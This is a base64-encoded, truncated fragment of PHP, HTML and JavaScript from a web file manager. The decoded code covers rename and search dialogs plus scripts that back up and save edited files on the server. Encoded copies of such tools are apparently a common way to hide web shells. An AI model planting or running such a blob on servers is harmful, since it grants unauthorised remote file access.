G4gICAgICAgICAgICAgICAgICAgICAgICAgICAgPHAgY2xhc3M9XCJtdC0zXCI+PGxhYmVsIGZvcj1cIm5ld2ZpbGVuYW1lXCI+PD9waHAgZWNobyBsbmcoJ0l0ZW1OYW1lJykgPz4gPFwvbGFiZWw+PFwvcD5cbiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8aW5wdXQgdHlwZT1cInRleHRcIiBuYW1lPVwibmV3ZmlsZW5hbWVcIiBpZD1cIm5ld2ZpbGVuYW1lXCIgdmFsdWU9XCJcIiBjbGFzcz1cImZvcm0tY29udHJvbFwiIHBsYWNlaG9sZGVyPVwiPD9waHAgZWNobyBsbmcoJ0VudGVyIGhlcmUuLi4nKSA/PlwiIHJlcXVpcmVkPlxuICAgICAgICAgICAgICAgICAgICAgICAgPFwvZGl2PlxuICAgICAgICAgICAgICAgICAgICAgICAgPGRpdiBjbGFzcz1cIm1vZGFsLWZvb3RlclwiPlxuICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxpbnB1dCB0eXBlPVwiaGlkZGVuXCIgbmFtZT1cInRva2VuXCIgdmFsdWU9XCI8P3BocCBlY2hvICRfU0VTU0lPTlsndG9rZW4nXTsgPz5cIj5cbiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8YnV0dG9uIHR5cGU9XCJidXR0b25cIiBjbGFzcz1cImJ0biBidG4tb3V0bGluZS1wcmltYXJ5XCIgZGF0YS1icy1kaXNtaXNzPVwibW9kYWxcIj48aSBjbGFzcz1cImZhIGZhLXRpbWVzLWNpcmNsZVwiPjxcL2k+IDw/cGhwIGVjaG8gbG5nKCdDYW5jZWwnKSA/PjxcL2J1dHRvbj5cbiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8YnV0dG9uIHR5cGU9XCJzdWJtaXRcIiBjbGFzcz1cImJ0biBidG4tc3VjY2Vzc1wiPjxpIGNsYXNzPVwiZmEgZmEtY2hlY2stY2lyY2xlXCI+PFwvaT4gPD9waHAgZWNobyBsbmcoJ0NyZWF0ZU5vdycpID8+PFwvYnV0dG9uPlxuICAgICAgICAgICAgICAgICAgICAgICAgPFwvZGl2PlxuICAgICAgICAgICAgICAgICAgICA8XC9mb3JtPlxuICAgICAgICAgICAgICAgIDxcL2Rpdj5cbiAgICAgICAgICAgIDxcL2Rpdj5cblxuICAgICAgICAgICAgPGRpdiBjbGFzcz1cIm1vZGFsIGZhZGVcIiBpZD1cInNlYXJjaE1vZGFsXCIgdGFiaW5kZXg9XCItMVwiIHJvbGU9XCJkaWFsb2dcIiBhcmlhLWxhYmVsbGVkYnk9XCJzZWFyY2hNb2RhbExhYmVsXCIgYXJpYS1oaWRkZW49XCJ0cnVlXCIgZGF0YS1icy10aGVtZT1cIjw/cGhwIGVjaG8gRk1fVEhFTUU7ID8+XCI+XG4gICAgICAgICAgICAgICAgPGRpdiBjbGFzcz1cIm1vZGFsLWRpYWxvZyBtb2RhbC1sZ1wiIHJvbGU9XCJkb2N1bWVudFwiPlxuICAgICAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPVwibW9kYWwtY29udGVudFwiPlxuICAgICAgICAgICAgICAgICAgICAgICAgPGRpdiBjbGFzcz1cIm1vZGFsLWhlYWRlclwiPlxuICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxoNSBjbGFzcz1cIm1vZGFsLXRpdGxlIGNvbC0xMFwiIGlkPVwic2VhcmNoTW9kYWxMYWJlbFwiPlxuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPVwiaW5wdXQtZ3JvdXAgbWItM1wiPlxuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGlucHV0IHR5cGU9XCJ0ZXh0XCIgY2xhc3M9XCJmb3JtLWNvbnRyb2xcIiBwbGFjZWhvbGRlcj1cIjw/cGhwIGVjaG8gbG5nKCdTZWFyY2gnKSA/PiA8P3BocCBlY2hvIGxuZygnYSBmaWxlcycpID8+XCIgYXJpYS1sYWJlbD1cIjw/cGhwIGVjaG8gbG5nKCdTZWFyY2gnKSA/PlwiIGFyaWEtZGVzY3JpYmVkYnk9XCJzZWFyY2gtYWRkb24zXCIgaWQ9XCJhZHZhbmNlZC1zZWFyY2hcIiBhdXRvZm9jdXMgcmVxdWlyZWQ+XG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8c3BhbiBjbGFzcz1cImlucHV0LWdyb3VwLXRleHRcIiBpZD1cInNlYXJjaC1hZGRvbjNcIj48aSBjbGFzcz1cImZhIGZhLXNlYXJjaFwiPjxcL2k+PFwvc3Bhbj5cbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPFwvZGl2PlxuICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxcL2g1PlxuICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxidXR0b24gdHlwZT1cImJ1dHRvblwiIGNsYXNzPVwiYnRuLWNsb3NlXCIgZGF0YS1icy1kaXNtaXNzPVwibW9kYWxcIiBhcmlhLWxhYmVsPVwiQ2xvc2VcIj48XC9idXR0b24+XG4gICAgICAgICAgICAgICAgICAgICAgICA8XC9kaXY+XG4gICAgICAgICAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPVwibW9kYWwtYm9keVwiPlxuICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxmb3JtIGFjdGlvbj1cIlwiIG1ldGhvZD1cInBvc3RcIj5cbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGRpdiBjbGFzcz1cImxkcy1mYWNlYm9va1wiPlxuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGRpdj48XC9kaXY+XG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8ZGl2PjxcL2Rpdj5cbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxkaXY+PFwvZGl2PlxuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8XC9kaXY+XG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDx1bCBpZD1cInNlYXJjaC13cmFwcGVyXCI+XG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8cCBjbGFzcz1cIm0tMlwiPjw/cGhwIGVjaG8gbG5nKCdTZWFyY2ggZmlsZSBpbiBmb2xkZXIgYW5kIHN1YmZvbGRlcnMuLi4nKSA/PjxcL3A+XG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxcL3VsPlxuICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxcL2Zvcm0+XG4gICAgICAgICAgICAgICAgICAgICAgICA8XC9kaXY+XG4gICAgICAgICAgICAgICAgICAgIDxcL2Rpdj5cbiAgICAgICAgICAgICAgICA8XC9kaXY+XG4gICAgICAgICAgICA8XC9kaXY+XG5cbiAgICAgICAgICAgIDwhLS1SZW5hbWUgTW9kYWwgLS0+XG4gICAgICAgICAgICA8ZGl2IGNsYXNzPVwibW9kYWwgbW9kYWwtYWxlcnRcIiBkYXRhLWJzLWJhY2tkcm9wPVwic3RhdGljXCIgZGF0YS1icy1rZXlib2FyZD1cImZhbHNlXCIgdGFiaW5kZXg9XCItMVwiIHJvbGU9XCJkaWFsb2dcIiBpZD1cInJlbmFtZURhaWxvZ1wiIGRhdGEtYnMtdGhlbWU9XCI8P3BocCBlY2hvIEZNX1RIRU1FOyA/PlwiPlxuICAgICAgICAgICAgICAgIDxkaXYgY2xhc3M9XCJtb2RhbC1kaWFsb2dcIiByb2xlPVwiZG9jdW1lbnRcIj5cbiAgICAgICAgICAgICAgICAgICAgPGZvcm0gY2xhc3M9XCJtb2RhbC1jb250ZW50IHJvdW5kZWQtMyBzaGFkb3dcIiBtZXRob2Q9XCJwb3N0XCIgYXV0b2NvbXBsZXRlPVwib2ZmXCI+XG4gICAgICAgICAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPVwibW9kYWwtYm9keSBwLTQgdGV4dC1jZW50ZXJcIj5cbiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8aDUgY2xhc3M9XCJtYi0zXCI+PD9waHAgZWNobyBsbmcoJ0FyZSB5b3Ugc3VyZSB3YW50IHRvIHJlbmFtZT8nKSA/PjxcL2g1PlxuICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxwIGNsYXNzPVwibWItMVwiPlxuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8aW5wdXQgdHlwZT1cInRleHRcIiBuYW1lPVwicmVuYW1lX3RvXCIgaWQ9XCJqcy1yZW5hbWUtdG9cIiBjbGFzcz1cImZvcm0tY29udHJvbFwiIHBsYWNlaG9sZGVyPVwiPD9waHAgZWNobyBsbmcoJ0VudGVyIG5ldyBmaWxlIG5hbWUnKSA/PlwiIHJlcXVpcmVkPlxuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8aW5wdXQgdHlwZT1cImhpZGRlblwiIG5hbWU9XCJ0b2tlblwiIHZhbHVlPVwiPD9waHAgZWNobyAkX1NFU1NJT05bJ3Rva2VuJ107ID8+XCI+XG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxpbnB1dCB0eXBlPVwiaGlkZGVuXCIgbmFtZT1cInJlbmFtZV9mcm9tXCIgaWQ9XCJqcy1yZW5hbWUtZnJvbVwiPlxuICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxcL3A+XG4gICAgICAgICAgICAgICAgICAgICAgICA8XC9kaXY+XG4gICAgICAgICAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPVwibW9kYWwtZm9vdGVyIGZsZXgtbm93cmFwIHAtMFwiPlxuICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxidXR0b24gdHlwZT1cImJ1dHRvblwiIGNsYXNzPVwiYnRuIGJ0bi1sZyBidG4tbGluayBmcy02IHRleHQtZGVjb3JhdGlvbi1ub25lIGNvbC02IG0tMCByb3VuZGVkLTAgYm9yZGVyLWVuZFwiIGRhdGEtYnMtZGlzbWlzcz1cIm1vZGFsXCI+PD9waHAgZWNobyBsbmcoJ0NhbmNlbCcpID8+PFwvYnV0dG9uPlxuICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxidXR0b24gdHlwZT1cInN1Ym1pdFwiIGNsYXNzPVwiYnRuIGJ0bi1sZyBidG4tbGluayBmcy02IHRleHQtZGVjb3JhdGlvbi1ub25lIGNvbC02IG0tMCByb3VuZGVkLTBcIj48c3Ryb25nPjw/cGhwIGVjaG8gbG5nKCdPa2F5JykgPz48XC9zdHJvbmc+PFwvYnV0dG9uPlxuICAgICAgICAgICAgICAgICAgICAgICAgPFwvZGl2PlxuICAgICAgICAgICAgICAgICAgICA8XC9mb3JtPlxuICAgICAgICAgICAgICAgIDxcL2Rpdj5cbiAgICAgICAgICAgIDxcL2Rpdj5cblxuICAgICAgICAgICAgPCEtLSBDb25maXJtIE1vZGFsIC0tPlxuICAgICAgICAgICAgPHNjcmlwdCB0eXBlPVwidGV4dFwvaHRtbFwiIGlkPVwianMtdHBsLWNvbmZpcm1cIj5cbiAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPVwibW9kYWwgbW9kYWwtYWxlcnQgY29uZmlybURhaWxvZ1wiIGRhdGEtYnMtYmFja2Ryb3A9XCJzdGF0aWNcIiBkYXRhLWJzLWtleWJvYXJkPVwiZmFsc2VcIiB0YWJpbmRleD1cIi0xXCIgcm9sZT1cImRpYWxvZ1wiIGlkPVwiY29uZmlybURhaWxvZy08JXRoaXMuaWQlPlwiIGRhdGEtYnMtdGhlbWU9XCI8P3BocCBlY2hvIEZNX1RIRU1FOyA/PlwiPlxuICAgICAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPVwibW9kYWwtZGlhbG9nXCIgcm9sZT1cImRvY3VtZW50XCI+XG4gICAgICAgICAgICAgICAgICAgICAgICA8Zm9ybSBjbGFzcz1cIm1vZGFsLWNvbnRlbnQgcm91bmRlZC0zIHNoYWRvd1wiIG1ldGhvZD1cInBvc3RcIiBhdXRvY29tcGxldGU9XCJvZmZcIiBhY3Rpb249XCI8JXRoaXMuYWN0aW9uJT5cIj5cbiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPVwibW9kYWwtYm9keSBwLTQgdGV4dC1jZW50ZXJcIj5cbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGg1IGNsYXNzPVwibWItMlwiPjw/cGhwIGVjaG8gbG5nKCdBcmUgeW91IHN1cmUgd2FudCB0bycpID8+IDwldGhpcy50aXRsZSU+ID88XC9oNT5cbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPHAgY2xhc3M9XCJtYi0xXCI+PCV0aGlzLmNvbnRlbnQlPjxcL3A+XG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgPFwvZGl2PlxuICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxkaXYgY2xhc3M9XCJtb2RhbC1mb290ZXIgZmxleC1ub3dyYXAgcC0wXCI+XG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxidXR0b24gdHlwZT1cImJ1dHRvblwiIGNsYXNzPVwiYnRuIGJ0bi1sZyBidG4tbGluayBmcy02IHRleHQtZGVjb3JhdGlvbi1ub25lIGNvbC02IG0tMCByb3VuZGVkLTAgYm9yZGVyLWVuZFwiIGRhdGEtYnMtZGlzbWlzcz1cIm1vZGFsXCI+PD9waHAgZWNobyBsbmcoJ0NhbmNlbCcpID8+PFwvYnV0dG9uPlxuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8aW5wdXQgdHlwZT1cImhpZGRlblwiIG5hbWU9XCJ0b2tlblwiIHZhbHVlPVwiPD9waHAgZWNobyAkX1NFU1NJT05bJ3Rva2VuJ107ID8+XCI+XG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxidXR0b24gdHlwZT1cInN1Ym1pdFwiIGNsYXNzPVwiYnRuIGJ0bi1sZyBidG4tbGluayBmcy02IHRleHQtZGVjb3JhdGlvbi1ub25lIGNvbC02IG0tMCByb3VuZGVkLTBcIiBkYXRhLWJzLWRpc21pc3M9XCJtb2RhbFwiPjxzdHJvbmc+PD9waHAgZWNobyBsbmcoJ09rYXknKSA/PjxcL3N0cm9uZz48XC9idXR0b24+XG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgPFwvZGl2PlxuICAgICAgICAgICAgICAgICAgICAgICAgPFwvZm9ybT5cbiAgICAgICAgICAgICAgICAgICAgPFwvZGl2PlxuICAgICAgICAgICAgICAgIDxcL2Rpdj5cbiAgICAgICAgICAgIDxcL3NjcmlwdD5cbiAgICAgICAgPD9waHBcbiAgICB9XG5cbiAgICBcLyoqXG4gICAgICogU2hvdyBwYWdlIGZvb3RlciBhZnRlciBsb2dpblxuICAgICAqXC9cbiAgICBmdW5jdGlvbiBmbV9zaG93X2Zvb3RlcigpXG4gICAge1xuICAgICAgICA/PlxuICAgICAgICA8XC9kaXY+XG4gICAgICAgIDw/cGhwIHByaW50X2V4dGVybmFsKCdqcy1qcXVlcnknKTsgPz5cbiAgICAgICAgPD9waHAgcHJpbnRfZXh0ZXJuYWwoJ2pzLWJvb3RzdHJhcCcpOyA/PlxuICAgICAgICA8P3BocCBwcmludF9leHRlcm5hbCgnanMtanF1ZXJ5LWRhdGF0YWJsZXMnKTsgPz5cbiAgICAgICAgPD9waHAgaWYgKEZNX1VTRV9ISUdITElHSFRKUyAmJiBpc3NldCgkX0dFVFsndmlldyddKSk6ID8+XG4gICAgICAgICAgICA8P3BocCBwcmludF9leHRlcm5hbCgnanMtaGlnaGxpZ2h0anMnKTsgPz5cbiAgICAgICAgICAgIDxzY3JpcHQ+XG4gICAgICAgICAgICAgICAgaGxqcy5oaWdobGlnaHRBbGwoKTtcbiAgICAgICAgICAgICAgICB2YXIgaXNIaWdobGlnaHRpbmdFbmFibGVkID0gdHJ1ZTtcbiAgICAgICAgICAgIDxcL3NjcmlwdD5cbiAgICAgICAgPD9waHAgZW5kaWY7ID8+XG4gICAgICAgIDxzY3JpcHQ+XG4gICAgICAgICAgICBmdW5jdGlvbiB0ZW1wbGF0ZShodG1sLCBvcHRpb25zKSB7XG4gICAgICAgICAgICAgICAgdmFyIHJlID0gXC88XFwlKFteXFwlPl0rKT9cXCU+XC9nLFxuICAgICAgICAgICAgICAgICAgICByZUV4cCA9IFwvKF4oICk/KGlmfGZvcnxlbHNlfHN3aXRjaHxjYXNlfGJyZWFrfHt8fSkpKC4qKT9cL2csXG4gICAgICAgICAgICAgICAgICAgIGNvZGUgPSAndmFyIHI9W107XFxuJyxcbiAgICAgICAgICAgICAgICAgICAgY3Vyc29yID0gMCxcbiAgICAgICAgICAgICAgICAgICAgbWF0Y2g7XG4gICAgICAgICAgICAgICAgdmFyIGFkZCA9IGZ1bmN0aW9uKGxpbmUsIGpzKSB7XG4gICAgICAgICAgICAgICAgICAgIGpzID8gKGNvZGUgKz0gbGluZS5tYXRjaChyZUV4cCkgPyBsaW5lICsgJ1xcbicgOiAnci5wdXNoKCcgKyBsaW5lICsgJyk7XFxuJykgOiAoY29kZSArPSBsaW5lICE9ICcnID8gJ3IucHVzaChcIicgKyBsaW5lLnJlcGxhY2UoXC9cIlwvZywgJ1xcXFxcIicpICsgJ1wiKTtcXG4nIDogJycpO1xuICAgICAgICAgICAgICAgICAgICByZXR1cm4gYWRkXG4gICAgICAgICAgICAgICAgfVxuICAgICAgICAgICAgICAgIHdoaWxlIChtYXRjaCA9IHJlLmV4ZWMoaHRtbCkpIHtcbiAgICAgICAgICAgICAgICAgICAgYWRkKGh0bWwuc2xpY2UoY3Vyc29yLCBtYXRjaC5pbmRleCkpKG1hdGNoWzFdLCAhMCk7XG4gICAgICAgICAgICAgICAgICAgIGN1cnNvciA9IG1hdGNoLmluZGV4ICsgbWF0Y2hbMF0ubGVuZ3RoXG4gICAgICAgICAgICAgICAgfVxuICAgICAgICAgICAgICAgIGFkZChodG1sLnN1YnN0cihjdXJzb3IsIGh0bWwubGVuZ3RoIC0gY3Vyc29yKSk7XG4gICAgICAgICAgICAgICAgY29kZSArPSAncmV0dXJuIHIuam9pbihcIlwiKTsnO1xuICAgICAgICAgICAgICAgIHJldHVybiBuZXcgRnVuY3Rpb24oY29kZS5yZXBsYWNlKFwvW1xcclxcdFxcbl1cL2csICcnKSkuYXBwbHkob3B0aW9ucylcbiAgICAgICAgICAgIH1cblxuICAgICAgICAgICAgZnVuY3Rpb24gcmVuYW1lKGUsIHQpIHtcbiAgICAgICAgICAgICAgICBpZiAodCkge1xuICAgICAgICAgICAgICAgICAgICAkKFwiI2pzLXJlbmFtZS1mcm9tXCIpLnZhbCh0KTtcbiAgICAgICAgICAgICAgICAgICAgJChcIiNqcy1yZW5hbWUtdG9cIikudmFsKHQpO1xuICAgICAgICAgICAgICAgICAgICAkKFwiI3JlbmFtZURhaWxvZ1wiKS5tb2RhbCgnc2hvdycpO1xuICAgICAgICAgICAgICAgIH1cbiAgICAgICAgICAgIH1cblxuICAgICAgICAgICAgZnVuY3Rpb24gY2hhbmdlX2NoZWNrYm94ZXMoZSwgdCkge1xuICAgICAgICAgICAgICAgIGZvciAodmFyIG4gPSBlLmxlbmd0aCAtIDE7IG4gPj0gMDsgbi0tKSBlW25dLmNoZWNrZWQgPSBcImJvb2xlYW5cIiA9PSB0eXBlb2YgdCA/IHQgOiAhZVtuXS5jaGVja2VkXG4gICAgICAgICAgICB9XG5cbiAgICAgICAgICAgIGZ1bmN0aW9uIGdldF9jaGVja2JveGVzKCkge1xuICAgICAgICAgICAgICAgIGZvciAodmFyIGUgPSBkb2N1bWVudC5nZXRFbGVtZW50c0J5TmFtZShcImZpbGVbXVwiKSwgdCA9IFtdLCBuID0gZS5sZW5ndGggLSAxOyBuID49IDA7IG4tLSkoZVtuXS50eXBlID0gXCJjaGVja2JveFwiKSAmJiB0LnB1c2goZVtuXSk7XG4gICAgICAgICAgICAgICAgcmV0dXJuIHRcbiAgICAgICAgICAgIH1cblxuICAgICAgICAgICAgZnVuY3Rpb24gc2VsZWN0X2FsbCgpIHtcbiAgICAgICAgICAgICAgICBjaGFuZ2VfY2hlY2tib3hlcyhnZXRfY2hlY2tib3hlcygpLCAhMClcbiAgICAgICAgICAgIH1cblxuICAgICAgICAgICAgZnVuY3Rpb24gdW5zZWxlY3RfYWxsKCkge1xuICAgICAgICAgICAgICAgIGNoYW5nZV9jaGVja2JveGVzKGdldF9jaGVja2JveGVzKCksICExKVxuICAgICAgICAgICAgfVxuXG4gICAgICAgICAgICBmdW5jdGlvbiBpbnZlcnRfYWxsKCkge1xuICAgICAgICAgICAgICAgIGNoYW5nZV9jaGVja2JveGVzKGdldF9jaGVja2JveGVzKCkpXG4gICAgICAgICAgICB9XG5cbiAgICAgICAgICAgIGZ1bmN0aW9uIGNoZWNrYm94X3RvZ2dsZSgpIHtcbiAgICAgICAgICAgICAgICB2YXIgZSA9IGdldF9jaGVja2JveGVzKCk7XG4gICAgICAgICAgICAgICAgZS5wdXNoKHRoaXMpLCBjaGFuZ2VfY2hlY2tib3hlcyhlKVxuICAgICAgICAgICAgfVxuXG4gICAgICAgICAgICBmdW5jdGlvbiBiYWNrdXAoZSwgdCkge1xuICAgICAgICAgICAgICAgIHZhciBuID0gbmV3IFhNTEh0dHBSZXF1ZXN0LFxuICAgICAgICAgICAgICAgICAgICBhID0gXCJwYXRoPVwiICsgZSArIFwiJmZpbGU9XCIgKyB0ICsgXCImdG9rZW49XCIgKyB3aW5kb3cuY3NyZiArIFwiJnR5cGU9YmFja3VwJmFqYXg9dHJ1ZVwiO1xuICAgICAgICAgICAgICAgIHJldHVybiBuLm9wZW4oXCJQT1NUXCIsIFwiXCIsICEwKSwgbi5zZXRSZXF1ZXN0SGVhZGVyKFwiQ29udGVudC10eXBlXCIsIFwiYXBwbGljYXRpb25cL3gtd3d3LWZvcm0tdXJsZW5jb2RlZFwiKSwgbi5vbnJlYWR5c3RhdGVjaGFuZ2UgPSBmdW5jdGlvbigpIHtcbiAgICAgICAgICAgICAgICAgICAgNCA9PSBuLnJlYWR5U3RhdGUgJiYgMjAwID09IG4uc3RhdHVzICYmIHRvYXN0KG4ucmVzcG9uc2VUZXh0KVxuICAgICAgICAgICAgICAgIH0sIG4uc2VuZChhKSwgITFcbiAgICAgICAgICAgIH1cblxuICAgICAgICAgICAgZnVuY3Rpb24gdG9hc3QodHh0KSB7XG4gICAgICAgICAgICAgICAgdmFyIHggPSBkb2N1bWVudC5nZXRFbGVtZW50QnlJZChcInNuYWNrYmFyXCIpO1xuICAgICAgICAgICAgICAgIHguaW5uZXJIVE1MID0gdHh0O1xuICAgICAgICAgICAgICAgIHguY2xhc3NOYW1lID0gXCJzaG93XCI7XG4gICAgICAgICAgICAgICAgc2V0VGltZW91dChmdW5jdGlvbigpIHtcbiAgICAgICAgICAgICAgICAgICAgeC5jbGFzc05hbWUgPSB4LmNsYXNzTmFtZS5yZXBsYWNlKFwic2hvd1wiLCBcIlwiKTtcbiAgICAgICAgICAgICAgICB9LCAzMDAwKTtcbiAgICAgICAgICAgIH1cblxuICAgICAgICAgICAgZnVuY3Rpb24gZWRpdF9zYXZlKGUsIHQpIHtcbiAgICAgICAgICAgICAgICB2YXIgbiA9IFwiYWNlXCIgPT0gdCA/IGVkaXRvci5nZXRTZXNzaW9uKCkuZ2V0VmFsdWUoKSA6IGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKFwibm9ybWFsLWVkaXRvclwiKS52YWx1ZTtcbiAgICAgICAgICAgICAgICBpZiAodHlwZW9mIG4gIT09ICd1bmRlZmluZWQnICYmIG4gIT09IG51bGwpIHtcbiAgICAgICAgICAgICAgICAgICAgaWYgKHRydWUpIHtcbiAgICAgICAgICAgICAgICAgICAgICAgIHZhciBkYXRhID0ge1xuICAgICAgICAgICAgICAgICAgICAgICAgICAgIGFqYXg6IHRydWUsXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgY29udGVudDogbixcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICB0eXBlOiAnc2F2ZScsXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgdG9rZW46IHdpbmRvdy5jc3JmXG4gICAgICAgICAgICAgICAgICAgICAgICB9O1xuXG4gICAgICAgICAgICAgICAgICAgICAgICAkLmFqYXgoe1xuICAgICAgICAgICAgICAgICAgICAgICAgICAgIHR5cGU6IFwiUE9TVFwiLFxuICAgICAgICAgICAgICAgICAgICAgICAgICAgIHVybDogd2luZG93LmxvY2F0aW9uLFxuICAgICAgICAgICAgICAgICAgICAgICAgICAgIGRhdGE6IEpTT04uc3RyaW5naWZ5KGRhdGEpLFxuICAgICAgICAgICAgICAgICAgICAgICAgICAgIGNvbnRlbnRUeXBlOiBcImFwcGxpY2F0aW9uXC9qc29uOyBjaGFyc2V0PXV0Zi04XCIsXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgc3VjY2VzczogZnVuY3Rpb24obWVzKSB7XG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHRvYXN0KFwiU2F2ZWQgU3VjY2Vzc2Z1bGx5XCIpO1xuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB3aW5kb3cub25iZWZvcmV1bmxvYWQgPSBmdW5jdGlvbigpIHtcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHJldHVyblxuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB9XG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgfSxcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICBmYWlsdXJlOiBmdW5jdGlvbihtZXMpIHtcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgdG9hc3QoXCJFcnJvcjogdHJ5IGFnYWluXCIpO1xuICAgICAgICAgICAgICAgICAgICAgICAgICAgIH0sXG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgZXJyb3I6IGZ1bmN0aW9uKG1lcykge1xuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB0b2FzdChgPHAgc3R5bGU9XCJiYWNrZ3JvdW5kLWNvbG9yOnJlZFwiPiR7bWVzLnJlc3BvbnNlVGV4dH08XC9wPmApO1xuICAgICAgICAgICAgICAgICAgICAgICAgICAgIH1cbiAgICAgICAgICAgICAgICAgICAgICAgIH0pO1xuICAgICAgICAgICAgICAgICAgICB9IGVsc2Uge1xuICAgICAgICAgICAgICAgICAgICAgICAgdmFyIGEgPSBkb2N1bWVudC5jcmVhdGVFbGVtZW50KFwiZm9ybVwiKTtcbiAgICAgICAgICAgICAgICAgICAgICAgIGEuc2V0QXR0cmlidXRlKFwibWV0aG9kXCIsIFwiUE9TVFwiKSwgYS5zZXRBdHRyaWJ1dGUoXCJhY3Rpb25cIiwgXCJcIik7XG4gICAgICAgICAgICAgICAgICAgICAgICB2YXIgbyA9IGRvY3VtZW50LmNyZWF0ZUVsZW1lbnQoXCJ0ZXh0YXJlYVwiKTtcbiAgICAgICAgICAgICAgICAgICAgICAgIG8uc2V0QXR0cmlidXRlKFwidHlwZVwiLCBcInRleHRhcmVhXCIpLCBvLnNldEF0dHJpYnV0ZShcIm5hbWVcIiwgXCJzYXZlZGF0YVwiKTtcbiAgICAgICAgICAgICAgICAgICAgICAgIGxldCBjeCA9IGRvY3VtZW50LmNyZWF0ZUVsZW1lbnQoXCJpbnB1dFwiKTtcbiAgICAgICAgICAgICAgICAgICAgICAgIGN4LnNldEF0dHJpYnV0ZShcInR5cGVcIiwgXCJoaWRkZW5cIik7XG4gICAgICAgICAgICAgICAgICAgICAgICBjeC5zZXRBdHRyaWJ1dGUoXCJuYW1lXCIsIFwidG9rZW5cIik7XG4gICAgICAgICAgICAgICAgICAgICAgICBjeC5zZXRBdHRyaWJ1dGUoXCJ2YWx1ZVwiLCB3aW5kb3cuY3NyZik7XG4gICAgICAgICAgICAgICAgICAgICAgICB2YXIgYyA9IGRvY3VtZW50LmNyZWF0ZVRleHROb2RlKG4pO1xuICAgICAgICAgICAgICAgICAgICAgICAgby5hcHBlbmRDaGlsZChjKSwgYS5hcHBlbmRDaGlsZChvKSwgYS5hcHBlbmRDaGlsZChjeCksIGRvY3VtZW50LmJvZHkuYXBwZW5kQ2hpbGQoYSksIGEuc3VibWl0KClcbiAgICAgICAgICAgICAgICAgICAgfVxuICAgICAgICAgICAgICAgIH1cbiAgICAgICAgICAgIH1cblxuICAgICAgICAgICAgZnVuY3Rpb24gc2hvd19uZXdfcHdkKCkge1xuICAgICAgICAgICAgICAgICQoXCIuanMtbmV3LXB3ZFwiKS50b2dnbGVDbGFzcygnaGlkZGVuJyk7XG4gICAgICAgICAgICB9XG5cbiAgICAgICAgICAgIGZ1bmN0aW9uIHNhdmVfc2V0dGluZ3MoJHRoaXMpIHtcbiAgICAgICAgICAgICAgICBsZXQgZm9ybSA9ICQoJHRoaXMpO1xuICAgICAgICAgICAgICAgICQuYWpheCh7XG4gICAgICAgICAgICAgICAgICAgIHR5cGU6IGZvcm0uYXR0cignbWV0aG9kJyksXG4gICAgICAgICAgICAgICAgICAgIHVybDogZm9ybS5hdHRyKCdhY3Rpb24nKSxcbiAgICAgICAgICAgICAgICAgICAgZGF0YTogZm9ybS5zZXJpYWxpemUoKSArIFwiJnRva2VuPVwiICsgd2luZG93LmNzcmYgKyBcIiZhamF4PVwiICsgdHJ1ZSxcbiAgICAgICAgICAgICAgICAgICAgc3VjY2VzczogZnVuY3Rpb24oZGF0YSkge1xuICAgICAgICAgICAgICAgICAgICAgICAgaWYgKGRhdGEpIHtcbiAgICAgICAgICAgICAgICAgICAgICAgICAgICB3aW5kb3cubG9jYXRpb24ucmVsb2FkKCk7XG4gICAgICAgICAgICAgICAgICA